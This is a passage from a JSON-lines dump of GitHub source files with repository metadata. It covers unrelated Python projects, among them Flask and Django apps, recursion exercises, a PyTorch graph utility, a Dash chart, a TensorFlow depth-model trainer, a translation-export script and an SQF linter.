Session(engine)\n\n min_temp = session.query(func.min(measurement.tobs)).filter(measurement.station == 'USC00519281').all()\n max_temp = session.query(func.max(measurement.tobs)).filter(measurement.station == 'USC00519281').all()\n mean_temp = session.query(func.avg(measurement.tobs)).filter(measurement.station == 'USC00519281').all()\n\n session.close()\n\n all_results = [min_temp, mean_temp, max_temp]\n\n return jsonify(all_results)\n\n\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)","repo_name":"jodiesym/Projects","sub_path":"10_sqlalchemy_Challenge/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42290200893","text":"let = \"abcdefghijklmnopqrstuvwxyz\"\n\nfor _ in range(int(input())):\n n,a,b = map(int,input().split())\n\n substr = n-a\n\n initial = let[:b]\n initial = initial*((a//b)+1)\n initial = initial[:a]\n\n print(initial,end='')\n\n index=0\n for i in range(substr):\n print(initial[index],end='')\n index+=1\n\n if index>=a:\n index=0\n print()\n","repo_name":"Shovon588/Programming","sub_path":"Codeforces with Python/1335B. Construct the String.py","file_name":"1335B. Construct the String.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"17826789447","text":"bedroom_choices = {\n '1':1,\n '2':2,\n '3':3,\n '4':4,\n '5':5,\n '6':6,\n '7':7,\n '8':8,\n '9':9,\n '10':10\n }\n\nprice_choices = {\n '100000':'$100,000',\n '200000':'$200,000',\n '300000':'$300,000',\n '400000':'$400,000',\n '500000':'$500,000',\n '600000':'$600,000',\n '700000':'$700,000',\n '800000':'$800,000',\n '900000':'$900,000',\n '1000000':'$1M+',\n}\n\nstate_choices = {\n 'Warsaw':'Warsaw',\n 'Kraków':'Kraków',\n 'Wrocław':'Wrocław',\n 'Poznań':'Poznań',\n 'Gdańsk':'Gdańsk',\n 'Szczecin': 'Szczecin',\n 'Bydgoszcz':'Bydgoszcz',\n 'Lublin':'Lublin',\n 'Gdynia':'Gdynia',\n 'Radom': 'Radom',\n 'Katowice':'Katowice',\n 'Kielce':'Kielce',\n 'Zakopane':'Zakopane',\n 'New Delhi':'New Delhi',\n 'Mumbai':'Mumbai',\n 'Kolkata':'Kolkata',\n 'Banglore':'Banglore',\n 'Bihar':'Bihar',\n 'Uttar Pradesh':'Uttar Pradesh',\n 'HR':'Haryana',\n 'Haryana':'Jammu Kashmir',\n 'Himachel Pradesh':'Himachel Pradesh',\n 'UttraKhand':'UttraKhand',\n 'Kerla':'Kerla',\n 'Chenni':'Chenni',\n 'Gujrat':'Gujrat',\n 'Rajasthan':'Rajasthan',\n 'Andhra Pradesh':'Andhra Pradesh',\n 'Assam':'Assam',\n 'Arunachal Pradesh ':'Arunachal Pradesh ',\n 'Chhattisgarh':'Chhattisgarh',\n 'Goa':'Goa',\n 'Jharkhand':'Jharkhand',\n 'Karnataka':'Karnataka',\n 'NY': 'New York',\n 'OH': 'Ohio',\n 'OK': 'Oklahoma',\n 'OR': 'Oregon',\n 'PA': 'Pennsylvania',\n 'PR': 'Puerto Rico',\n 'RI': 'Rhode Island',\n 'SC': 'South Carolina',\n 'SD': 'South Dakota',\n 'TN': 'Tennessee',\n 'TX': 'Texas',\n 'UT': 'Utah',\n 'VA': 'Virginia',\n 'VI': 'Virgin Islands',\n 'VT': 'Vermont',\n 'WA': 'Washington',\n 'WI': 'Wisconsin',\n 'WV': 'West Virginia',\n 'WY': 'Wyoming'\n}","repo_name":"iamrraj/Django_RealEstate","sub_path":"listings/choices.py","file_name":"choices.py","file_ext":"py","file_size_in_byte":1960,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"37065083019","text":"def print1ton(n):\n if n==0:\n return\n print1ton(n-1)\n print(n,end=\" \")\n\n#print1ton(5)\nprint()\ndef printnto1(n):\n if n==0:\n return\n print(n,end=\" \")\n printnto1(n-1)\n\n#printnto1(6)\n\ndef insert(arr,temp):\n if len(arr)==0 or arr[len(arr)-1]<=temp:\n arr.append(temp)\n return\n val=arr.pop()\n insert(arr,temp)\n arr.append(val)\ndef sortA(arr):\n if len(arr)==1:\n return\n temp=arr.pop()\n sortA(arr)\n insert(arr,temp)\n\n\n\narr=[1,5,4,3]\nprint(\"Array after sorting \")\nsortA(arr)\nprint(arr)\n\n\ndef solve(arr,k):\n if k==1:\n arr.pop()\n return\n temp=arr.pop()\n solve(arr,k-1)\n arr.append(temp)\n\ndef deleteMiddleStack(arr,n):\n if len(arr)==0:\n return arr\n k=len(arr)//2+1\n print(k)\n solve(arr,k)\n\nstack=[1,2,3,4,5,6]\nn=len(stack)\nprint(\"After deleting middle of stack \")\ndeleteMiddleStack(stack,n)\nprint(stack)\n\ndef insertEnd(arr,temp):\n if len(arr)==0:\n arr.append(temp)\n return\n val=arr.pop()\n insertEnd(arr,temp)\n arr.append(val)\n\ndef reverseStack(arr):\n if len(arr)==1:\n return\n temp=arr.pop()\n reverseStack(arr)\n insertEnd(arr,temp)\n\n\narr=[1,2,3,4]\n#reverseStack(arr)\n#print(arr)\n\n\n\ndef solveSubset(input,output,res):\n if len(input)==0:\n res.append(output)\n return\n output1=output\n output2=output+input[0]\n solveSubset(input[1:],output1,res)\n solveSubset(input[1:],output2,res)\n\n\n\ninput=\"ab\"\noutput=\"\"\nres=[]\nprint(\"Print all subsets \")\nsolveSubset(input,output,res)\nprint(res)\n\n\ndef permutationWithSpace(input,output,res):\n if len(input)==0:\n res.append(output)\n return\n output1=output+\"_\"+input[0]\n output2=output+input[0]\n permutationWithSpace(input[1:],output1,res)\n permutationWithSpace(input[1:],output2,res)\n\ndef solve(input,output):\n output+=input[0]\n res=[]\n permutationWithSpace(input[1:],output,res)\n print(res)\ninput=\"ABC\"\noutput=\"\"\nprint(\"Permutation with spaces o/p\")\nsolve(input,output)\n\n\ndef permutationWithCaseChange(input,output,res):\n if len(input)==0:\n res.append(output)\n return\n output1=output+input[0]\n output2=output+input[0].upper()\n permutationWithCaseChange(input[1:],output1,res)\n permutationWithCaseChange(input[1:],output2,res)\n\n\ninput=\"ab\"\noutput=\"\"\nres=[]\npermutationWithCaseChange(input,output,res)\nprint(\"Permutation with case change o/p\")\nprint(res)\n\ndef letterCasePermutation(input,output,res):\n if len(input)==0:\n res.append(output)\n return\n if input[0].isdigit():\n output1=output+input[0]\n letterCasePermutation(input[1:], output1, res)\n else:\n output1=output+input[0]\n output2=output+input[0].upper()\n letterCasePermutation(input[1:],output1,res)\n letterCasePermutation(input[1:],output2,res)\n\ninput=\"3z4\"\noutput=\"\"\nres=[]\nletterCasePermutation(input,output,res)\nprint(\"Letter case permutation o/p\")\nprint(res)","repo_name":"NIDHISH99444/DataStructures","sub_path":"AdityaVerma/Recursion/allRecursion.py","file_name":"allRecursion.py","file_ext":"py","file_size_in_byte":2964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25732010639","text":"from typing import Union\n\nimport torch\n\nfrom caldera.data import GraphBatch\nfrom caldera.data import GraphData\nfrom caldera.data.utils._utils import edges_difference\n\n\ndef add_edges(data: GraphData, fill_value: Union[float, int], kind: str) -> GraphData:\n \"\"\"Adds edges to the :class:`caldera.data.GraphData`.\n\n :param data: :class:`caldera.data.GraphData` instance.\n :param fill_value: fill value for edge attribute tensor.\n :param kind: Choose from \"self\" (for self edges), \"complete\" (for complete graph) or \"undirected\" (undirected edges)\n :return:\n \"\"\"\n UNDIRECTED = \"undirected\"\n COMPLETE = \"complete\"\n SELF = \"self\"\n VALID_KIND = [UNDIRECTED, COMPLETE, SELF]\n if kind not in VALID_KIND:\n raise ValueError(\"'kind' must be one of {}\".format(VALID_KIND))\n\n data_cls = data.__class__\n if issubclass(data_cls, GraphBatch):\n node_idx = data.node_idx\n edge_idx = data.edge_idx\n elif issubclass(data_cls, GraphData):\n node_idx = torch.zeros(data.x.shape[0], dtype=torch.long)\n edge_idx = torch.zeros(data.e.shape[0], dtype=torch.long)\n else:\n raise ValueError(\n \"data must be a subclass of {} or {}\".format(\n GraphBatch.__class__.__name__, GraphData.__class__.__name__\n )\n )\n\n with torch.no_grad():\n # we count the number of nodes in each graph using node_idx\n gidx, n_nodes = torch.unique(node_idx, return_counts=True, sorted=True)\n _, n_edges = torch.unique(edge_idx, return_counts=True, sorted=True)\n\n eidx = 0\n nidx = 0\n graph_edges_list = []\n new_edges_lengths = torch.zeros(gidx.shape[0], dtype=torch.long)\n\n for _gidx, _n_nodes, _n_edges in zip(gidx, n_nodes, n_edges):\n graph_edges = data.edges[:, eidx : eidx + _n_edges]\n if kind == UNDIRECTED:\n missing_edges = edges_difference(graph_edges.flip(0), graph_edges)\n elif kind == COMPLETE:\n all_graph_edges = _create_all_edges(nidx, _n_nodes)\n missing_edges = edges_difference(all_graph_edges, graph_edges)\n elif kind == SELF:\n self_edges = torch.cat(\n [torch.arange(nidx, nidx + _n_nodes).expand(1, -1)] * 2\n )\n missing_edges = edges_difference(self_edges, graph_edges)\n graph_edges_list.append(missing_edges)\n\n if not missing_edges.shape[0]:\n new_edges_lengths[_gidx] = 0\n else:\n new_edges_lengths[_gidx] = missing_edges.shape[1]\n\n nidx += _n_nodes\n eidx += _n_edges\n\n new_edges = torch.cat(graph_edges_list, axis=1)\n new_edge_idx = gidx.repeat_interleave(new_edges_lengths)\n new_edge_attr = torch.full(\n (new_edges.shape[1], data.e.shape[1]), fill_value=fill_value\n )\n\n edges = torch.cat([data.edges, new_edges], axis=1)\n edge_idx = torch.cat([edge_idx, new_edge_idx])\n edge_attr = torch.cat([data.e, new_edge_attr], axis=0)\n\n idx = edge_idx.argsort()\n\n if issubclass(data_cls, GraphBatch):\n return GraphBatch(\n node_attr=data.x.detach().clone(),\n edge_attr=edge_attr[idx],\n global_attr=data.g.detach().clone(),\n edges=edges[:, idx],\n node_idx=data.node_idx.detach().clone(),\n edge_idx=edge_idx[idx],\n )\n elif issubclass(data_cls, GraphData):\n return data_cls(\n node_attr=data.x.detach().clone(),\n edge_attr=edge_attr[idx],\n global_attr=data.g.detach().clone(),\n edges=edges[:, idx],\n )\n\n\ndef _create_all_edges(start: int, n_nodes: int) -> torch.LongTensor:\n \"\"\"Create all edges starting from node index 'start' for 'n_nodes'\n additional nodes.\n\n E.g. _all_edges(5, 4) would create all edges of nodes 5, 6, 7, 8\n with shape (2, 4)\n \"\"\"\n a = torch.arange(start, start + n_nodes, dtype=torch.long)\n b = a.repeat_interleave(torch.ones(n_nodes, dtype=torch.long) * n_nodes)\n c = torch.arange(start, start + n_nodes, dtype=torch.long).repeat(n_nodes)\n return torch.stack([b, c], axis=0)\n","repo_name":"jvrana/caldera","sub_path":"caldera/data/utils/_add_edges.py","file_name":"_add_edges.py","file_ext":"py","file_size_in_byte":4206,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"3246163449","text":"# -*- coding: utf-8 -*-\r\n\r\n\"\"\"\r\n\r\nRead MO files and output whole data to an Excel file\r\nLimitation:\r\n1. Suppose all MO files are available to use.\r\n2. If msgid does not exist in mo of EN-US, ignore its msgstr.\r\n3. Obsolete items are ignored directly.\r\n\r\nAuthor : James Jun Yang (19011956), Email: jun.yang@carestream.com\r\nHistory :\r\n 1.0 2014-09-15 Draft version\r\n\"\"\"\r\n\r\nimport os\r\nimport sys\r\nimport time\r\nimport polib\r\nimport xlwt\r\nimport optparse\r\n\r\ndef Location(product, position):\r\n Path = os.environ.get('CommonProgramFiles(x86)')\r\n if Path is None:\r\n Path = os.environ.get('CommonProgramFiles')\r\n return r'{}\\Trophy\\Acquisition\\{}\\{}'.format(Path, product, position)\r\n\r\ndef ReturnMOObject(mofile):\r\n return polib.mofile(mofile)\r\n\r\ndef ObsoleteItems(MOObject):\r\n return MOObject.obsolete_entries()\r\n\r\ndef AllItems(MOObject): return MOObject\r\n\r\ndef AvailableItems(MOObject):\r\n return list(set(AllItems(MOObject))|set(ObsoleteItems(MOObject)))\r\n\r\ndef MOItemList(moLocation, mofileName, Language):\r\n objectMO = ReturnMOObject('{}\\{}\\{}'.format(moLocation, Language, mofileName))\r\n objectMO = AvailableItems(objectMO)\r\n RetList = []\r\n for i in objectMO:\r\n RetList.append([i.msgid, unicode(i.msgstr)])\r\n return RetList\r\n\r\ndef Output2Excel(excelFile, langList, outputList):\r\n if os.path.exists(excelFile) is True:\r\n os.remove(excelFile)\r\n objWorkbook = xlwt.Workbook(encoding = 'utf-8')\r\n objWorksheet = objWorkbook.add_sheet(sheetname = 'General')\r\n\r\n # Language Title\r\n for i in range(len(langList)):\r\n objWorksheet.write(0, i, langList[i])\r\n\r\n # msgstr\r\n for i in range(len(outputList)):\r\n for j in range(len(outputList[i])):\r\n objWorksheet.write(i+1, j, outputList[i][j])\r\n\r\n # Save to file\r\n objWorkbook.save(excelFile)\r\n\r\nif __name__ == '__main__':\r\n\r\n # Optparse\r\n usage = \"\"\"\r\n %prog -p|--product-name PRODUCT -d|--directory-name DIRECTORY\r\n \"\"\"\r\n version = '1.0'\r\n epilog = ''\r\n parser = optparse.OptionParser(usage = usage, version = version, epilog = epilog)\r\n parser.add_option('-p', '--product-name',\r\n dest = 'PRODUCT',\r\n default = 'DriverAltair',\r\n help = 'Product name. Default is \"DriverAltair\".')\r\n parser.add_option('-d', '--directory-name',\r\n dest = 'DIRECTORY',\r\n default = 'local',\r\n help = 'Directory name of the i18n files. Default is \"local\".')\r\n (options, args) = parser.parse_args()\r\n\r\n # Need product name, this name is the installation directory name of specified product\r\n if options.PRODUCT is None:\r\n parser.error('Product name is not specified.')\r\n\r\n # General definition of variables: mail path\r\n moLocation = Location(options.PRODUCT, options.DIRECTORY)\r\n if os.path.exists(moLocation) is False:\r\n parser.error('Specified path of MO files does not exist!')\r\n else:\r\n languageList = os.listdir(moLocation)\r\n default_language = 'EN-US'\r\n languageList.remove(default_language)\r\n languageList.insert(0, default_language)\r\n if len(languageList) == 0:\r\n parser.error('Directory, {}, is empty!'.format(options.DIRECTORY))\r\n\r\n # General definition of variables: others\r\n mofileName = 'ACQ.mo'\r\n outputFile = 'i18n_Output_{}.xls'.format(time.strftime(r'%Y%m%d%H%M%S'))\r\n outputList = []\r\n\r\n # Generate base msgid: default langauge\r\n DefaultList = MOItemList(moLocation, mofileName, Language = default_language)\r\n for i in DefaultList:\r\n outputList.append([i[0]])\r\n outputList.sort()\r\n\r\n # Generate msgstr: other language\r\n for l in languageList:\r\n if l == default_language:\r\n continue\r\n TargetOutputList = MOItemList(moLocation, mofileName, Language = l)\r\n TargetOutputList.sort()\r\n for item in TargetOutputList:\r\n for i in outputList:\r\n if item[0] == i[0]:\r\n i.append(unicode(item[1]))\r\n continue\r\n\r\n # Output data to excel file.\r\n Output2Excel(outputFile, languageList, outputList)\r\n","repo_name":"tario-yang/iScripting","sub_path":"Python/2.x/iWorks/CSH/i18n/i18n-Output.py","file_name":"i18n-Output.py","file_ext":"py","file_size_in_byte":4129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25169079717","text":"\nfrom django.conf.urls import include, url\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.AllInvoices, name='AllInvoices'),\n url(r'^nuevo/$', views.NewInvoice, name='NewInvoice'),\n url(r'^(?P[0-9]+)/eliminar/$', views.DeleteInvoice, name='DeleteInvoice'),\n #url(r'^(?P[0-9]+)/items/$', views.eliminar_item, name='eliminar_item'),\n\n # Items para la invoice\n url(r'^(?P[0-9]+)/products/$', views.AddProduct, name='agregar_articulo_factura'),\n url(r'^products/(?P[0-9]+)/eliminar/$',\n views.DeleteProduct, name='eliminar_articulos_factura'),\n\n url(r'^(?P[0-9]+)/services/$', views.AddService, name='agregar_servicio_factura'),\n url(r'^services/(?P[0-9]+)/eliminar/$',\n views.DeleteService, name='eliminar_servicios_factura'),\n\n ##\n url(r'^(?P[0-9]+)/$', views.InvoiceDetails, name='InvoiceDetails'),\n url(r'^cobrar/(?P[0-9]+)$', views.BillInvoice, name='BillInvoice'),\n url(r'^SearchProduct/(?P[\\w\\-]+)/$', views.SearchProduct, name=\"SearchProduct\"),\n url(r'^SearchService/(?P[\\w\\-]+)/$', views.SearchService, name=\"SearchService\"),\n]","repo_name":"LuisHCK/adm-v1","sub_path":"apps/invoices/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"24590920873","text":"from enum import Enum\n\n\nclass DirName(Enum):\n TMP = \"tmp\"\n FRAMES = \"01_frames\"\n ALPHAPOSE = \"02_alphapose\"\n MULTIPOSE = \"03_multipose\"\n POSETRIPLET = \"04_posetriplet\"\n MIX = \"05_mix\"\n MOTION = \"06_motion\"\n\n\nclass FileName(Enum):\n ALPHAPOSE_RESULT = \"alphapose-results.json\"\n ALPHAPOSE_VIDEO = \"alphapose.mp4\"\n\n\nSMPL_JOINT_29 = {\n \"Pelvis\": 0,\n \"LHip\": 1,\n \"RHip\": 2,\n \"Spine1\": 3,\n \"LKnee\": 4,\n \"RKnee\": 5,\n \"Spine2\": 6,\n \"LAnkle\": 7,\n \"RAnkle\": 8,\n \"Spine3\": 9,\n \"LFoot\": 10,\n \"RFoot\": 11,\n \"Neck\": 12,\n \"LCollar\": 13,\n \"RCollar\": 14,\n \"Jaw\": 15,\n \"LShoulder\": 16,\n \"RShoulder\": 17,\n \"LElbow\": 18,\n \"RElbow\": 19,\n \"LWrist\": 20,\n \"RWrist\": 21,\n \"LThumb\": 22,\n \"RThumb\": 23,\n \"Head\": 24,\n \"LMiddle\": 25,\n \"RMiddle\": 26,\n \"LBigtoe\": 27,\n \"RBigtoe\": 28,\n}\n\nSMPL_JOINT_24 = {\n \"Pelvis\": 0,\n \"LHip\": 1,\n \"RHip\": 2,\n \"Spine1\": 3,\n \"LKnee\": 4,\n \"RKnee\": 5,\n \"Spine2\": 6,\n \"LAnkle\": 7,\n \"RAnkle\": 8,\n \"Spine3\": 9,\n \"LFoot\": 10,\n \"RFoot\": 11,\n \"Head\": 12,\n \"LCollar\": 13,\n \"RCollar\": 14,\n \"Nose\": 15,\n \"LShoulder\": 16,\n \"RShoulder\": 17,\n \"LElbow\": 18,\n \"RElbow\": 19,\n \"LWrist\": 20,\n \"RWrist\": 21,\n \"LMiddle\": 22,\n \"RMiddle\": 23,\n}\n","repo_name":"miu200521358/mmd-auto-trace-3","sub_path":"src/parts/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"3"} +{"seq_id":"70468098643","text":"import os\nimport requests\n\nfrom jats import PdfxError\nfrom utils.oss import path\n\nfrom .. import make_task_dir\n\n\nPDFX_SERVICE_URL = 'http://pdfx.cs.man.ac.uk/'\nTASK_NR = 1\nTASK_NAME = 'pdfx_xml'\n\n\ndef send_to_pdfx(filepath):\n data = {\n 'sent_splitter': 'punkt',\n 'ref_doi': 'ref_doi',\n }\n headers = {\"Content-Type\": \"application/pdf\"}\n\n try:\n with open(filepath, 'rb') as pdf:\n files = {'userfile': pdf}\n resp = requests.post(\n PDFX_SERVICE_URL,\n data=data, files=files, headers=headers)\n except OSError:\n resp = None\n return resp\n\n\ndef get_xml_from_pdfx(input_path):\n assert os.path.isfile(input_path)\n\n resp = send_to_pdfx(input_path)\n if not resp or resp.status_code != 200:\n raise PdfxError(\"PDFX error:\\n{}\".format(resp.content))\n\n input_filename = input_path.rsplit(os.path.sep, 1)[-1] \\\n if os.path.sep in input_path else input_path\n doc_name, _ = input_filename.rsplit('.', 1)\n xml_name = doc_name + \".xml\"\n output_dir = make_task_dir(doc_name, TASK_NR, TASK_NAME)\n output_path = path(output_dir, xml_name)\n\n with open(output_path, 'w') as output:\n output.write(resp.content)\n assert os.path.isfile(output_path)\n\n return {\n 'origin': input_path,\n 'doc_name': doc_name,\n 'xml_name': xml_name,\n 'task_done': 1,\n 'output': output_path,\n }\n","repo_name":"lhaze/data-science-playground","sub_path":"src/jats/jobs/pdfx_client.py","file_name":"pdfx_client.py","file_ext":"py","file_size_in_byte":1434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23987236364","text":"import os\nimport gdown\nimport wandb\nimport zipfile\nimport subprocess\nfrom typing import List\nimport tensorflow as tf\nimport tensorflow_addons as tfa\n\nfrom densedepth import DenseDepth, DenseDepthLoss\n\n\nclass Trainer:\n\n def __init__(self, experiment_name: str):\n self.experiment_name = experiment_name\n self.train_dataset, self.val_dataset = None, None\n self.model = None\n\n @staticmethod\n def download_dataset(dataset_name: str, dataset_access_key: str):\n gdown.download(\n 'https://drive.google.com/uc?id={}'.format(dataset_access_key),\n '{}.zip'.format(dataset_name), quiet=False\n )\n os.system('mkdir -p data')\n with zipfile.ZipFile('{}.zip'.format(dataset_name), 'r') as zip_ref:\n zip_ref.extractall('data')\n subprocess.run(['rm', '{}.zip'.format(dataset_name)])\n\n def init_wandb(self, project_name: str, entity: str, wandb_api_key: str):\n if project_name is not None and self.experiment_name is not None:\n os.environ['WANDB_API_KEY'] = wandb_api_key\n wandb.init(\n project=project_name, entity=entity,\n name=self.experiment_name, sync_tensorboard=True\n )\n\n def compile(\n self, train_dataset, val_dataset, model_build_shape: List[int],\n learning_rate: float, weight_decay: float, strategy=None):\n self.train_dataset = train_dataset\n self.val_dataset = val_dataset\n if strategy is not None:\n with strategy.scope():\n self.model = DenseDepth()\n self.model.compile(\n optimizer=tfa.optimizers.AdamW(\n learning_rate=learning_rate,\n weight_decay=weight_decay\n ), loss=DenseDepthLoss(\n lambda_weight=0.1, depth_max_val=1000.0 / 10.0\n )\n )\n else:\n self.model = DenseDepth()\n self.model.build(model_build_shape)\n self.model.compile(\n optimizer=tfa.optimizers.AdamW(\n learning_rate=learning_rate,\n weight_decay=weight_decay\n ), loss=DenseDepthLoss(\n lambda_weight=0.1, depth_max_val=1000.0 / 10.0\n )\n )\n\n def train(self, epochs: int, log_dir: str):\n callbacks = [\n tf.keras.callbacks.TensorBoard(\n log_dir=log_dir, histogram_freq=1,\n update_freq=50, write_images=True\n ),\n tf.keras.callbacks.ModelCheckpoint(\n './logs/train/' + self.experiment_name + '_{epoch}.ckpt',\n save_weights_only=True\n )\n ]\n history = self.model.fit(\n self.train_dataset, validation_data=self.val_dataset,\n epochs=epochs, callbacks=callbacks\n )\n return history\n","repo_name":"soumik12345/DenseDepth","sub_path":"densedepth/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":2940,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"37715462991","text":"#!/usr/bin/env python\n# Public domain, 2013 Simone Basso .\n\nimport sys\n\nsys.path.insert(0, \"/usr/local/share/libneubot\")\n\nfrom libneubot import LIBNEUBOT\n\ndef main():\n poller = LIBNEUBOT.NeubotPoller_construct()\n\n #\n # The following call should fail because we configured the function\n # to accept an instance of PollerBase only.\n #\n LIBNEUBOT.NeubotEchoServer_construct(poller, 0, \"127.0.0.1\", \"12345\")\n LIBNEUBOT.NeubotPoller_loop(poller)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"bassosimone/libneubot","sub_path":"test/typesafety.py","file_name":"typesafety.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"27342753046","text":"from dash import Dash\nfrom dash_core_components import Slider, Dropdown, Graph\nfrom dash_html_components import Div\nfrom dash.dependencies import Input, Output\n\nfrom json import loads\n\nimport plotly.express as px\n\nfrom dashapps.example.data_loader import Model\n\n\ndef getBubbleData(df, labelFilter, filterValue=50):\n #__file__ = \"C:\\\\Users\\\\Abhijeet\\\\Documents\\\\GitHub\\\\dsba6155project\\\\dsba6155project\\\\web\\\\d3.py\"\n ndf = df[df[\"label\"] == labelFilter]\n ndf = ndf[ndf[\"count\"] > filterValue]\n\n #return ndf[[ \"text\" , \"count\" , \"category\"]]\n return ndf\n\ndef get_app(server,path):\n\n df = Model().df\n ldesc = Model().ldesc\n\n dash_example = Dash(\n __name__,\n server=server,\n url_base_pathname =path\n )\n\n label_map = loads(ldesc.to_json(orient=\"index\"))\n\n dash_example.layout = Div(\n className=\"dash-div\",\n children=[\n Dropdown(\n id='label-dropdown',\n options=[{'label': label_map[i][\"label_description\"], 'value':i } for i in df['label'].unique()],\n value=df['label'].unique()[0]\n ),\n Slider(\n id='filter-slider',\n min=0,\n max=20,\n step=1,\n value=10\n ),\n Graph(id=\"bubble-chart\")\n ]\n )\n\n\n @dash_example.callback(\n Output('bubble-chart', 'figure'),\n [Input('label-dropdown', 'value'),Input('filter-slider', 'value')])\n def update_figure(label,value):\n df = Model().df\n ndf = getBubbleData(df,label,value)\n #print(ndf.head())\n bar = px.bar(ndf, y=\"text\", x=\"count\", color=\"category\", orientation='h',barmode='group')\n bar.update_layout(autosize=False,\n width=960,\n height=550 ,\n paper_bgcolor='rgba(0,0,0,0)',\n plot_bgcolor='rgba(0,0,0,0)',\n hovermode = 'closest',\n font=dict(\n family=\"Courier New, monospace\",\n size=18,\n color=\"white\"\n ))\n #return fig\n return bar\n\n\n @dash_example.callback(\n Output('filter-slider', 'value'),\n [Input('label-dropdown', 'value')])\n def update_slider_min(label):\n df = Model().df\n ndf = getBubbleData(df,label)\n #print(ndf.head())\n return ndf[\"count\"].min()\n\n @dash_example.callback(\n Output('filter-slider', 'min'),\n [Input('label-dropdown', 'value')])\n def update_slider_min(label):\n df = Model().df\n ndf = getBubbleData(df,label)\n #print(ndf.head())\n return ndf[\"count\"].min()\n\n @dash_example.callback(\n Output('filter-slider', 'max'),\n [Input('label-dropdown', 'value')])\n def update_slider_max(label):\n df = Model().df\n ndf = getBubbleData(df,label)\n #print(ndf.head())\n return ndf[\"count\"].max()\n\n\n return dash_example\n","repo_name":"abhijeetdtu/dsba6155project","sub_path":"dsba6155project/web/dashapps/example/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":2910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21831941119","text":"import re\nimport glob\n\ncount = 0\n\ndef log_line(file, line, msg):\n\tglobal count\n\tcount += 1\n\tif file.startswith(\"../addons\\\\\"):\n\t\tfile = file[12:]\n\tprint('{}\t{} @ line {} - {}'.format(count, file, line, msg))\n\nfor filename in glob.iglob('../addons/**/*.sqf', recursive=True):\n\twith open(filename, 'r') as script:\n\t\tl = 0;\n\t\tfor line in script.readlines():\n\t\t\tl += 1\n\t\t\t\n\t\t\t# if statements\n\t\t\tif (re.search('if\\(([\\s\\S]*)\\)', line)) or (re.search('then[\\s]*\\n{', line)):\n\t\t\t\tlog_line(script.name, l, \"if statement must have a space before condition and opening brace must be on the same line\")\n\t\t\t\t\n\t\t\t# switch statements\n\t\t\tif (re.search('switch[\\s]*\\(([\\s\\S]*)\\)[\\s]*do[\\s]*\\n', line)) or (re.search('case[\\s\\S]*:[\\s]*\\n', line)):\n\t\t\t\tlog_line(script.name, l, \"opening switch/case statement brace should be on the same line\")\n\t\t\t\t\n\t\t\t# trailing white space\n\t\t\tif re.search(';[\\s]+\\n', line):\n\t\t\t\tlog_line(script.name, l, \"trailing white space\")\n\nfor filename in glob.iglob('../addons/**/*.hpp', recursive=True):\n\twith open(filename, 'r') as script:\n\t\tl = 0;\n\t\tfor line in script.readlines():\n\t\t\tl += 1\n\t\t\t\n\t\t\t# safeZone strings\n\t\t\tif re.search('=[\\s]*\"\\([\\s]*', line):\n\t\t\t\tlog_line(script.name, l, \"safeZone string shouldn't have unnecessary whitespace between parentheses\")\n\t\t\t\n\t\t\t# arrays\n\t\t\tif re.search('\\[\\][\\s]*=[\\s]*[\\n]', line):\n\t\t\t\tlog_line(script.name, l, \"opening array brace should be on the same line\")\n\t\t\t\n\t\t\t# assignments\n\t\t\tif re.search('([\\S]=[\\S])|([\\S]*[\\s]*=[\\S])|([\\S]=[\\s]*[\\S])', line):\n\t\t\t\tlog_line(script.name, l, \"assignment operator must have one space either side of it\")\n\t\t\t\n\t\t\t# trailing white space\n\t\t\tif re.search(';[\\s]+\\n', line):\n\t\t\t\tlog_line(script.name, l, \"trailing white space\")\n\ninput()","repo_name":"jameslkingsley/mars","sub_path":"tools/check_sqf.py","file_name":"check_sqf.py","file_ext":"py","file_size_in_byte":1726,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"3"} +{"seq_id":"28763320529","text":"from django.shortcuts import render, HttpResponseRedirect\nfrom .models import Contact\nfrom .forms import stockmarketForm\n\n\ndef show_data(request):\n data = Contact.objects.all()\n return render(request,'index.html',{'data':data})\n\ndef update_data(request, id):\n if request.method == 'POST':\n pi = Contact.objects.get(pk=id)\n fm = stockmarketForm(request.POST, instance=pi)\n if fm.is_valid():\n fm.save()\n return HttpResponseRedirect('/')\n else:\n pi = Contact.objects.get(pk=id)\n fm = stockmarketForm(instance=pi)\n return render(request, 'update.html', {'forms':fm})\n\ndef delete_data(request,id):\n if request.method == 'POST':\n data = Contact.objects.get(pk=id)\n data.delete()\n return HttpResponseRedirect('/')","repo_name":"sizan378/djangocrudproject","sub_path":"crud/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6309019047","text":"import hmac\nimport hashlib\nimport requests\nimport time\nimport base64\n\n\nclass CgCoin():\n def __init__(self, base_url='https://i.cg.net'):\n 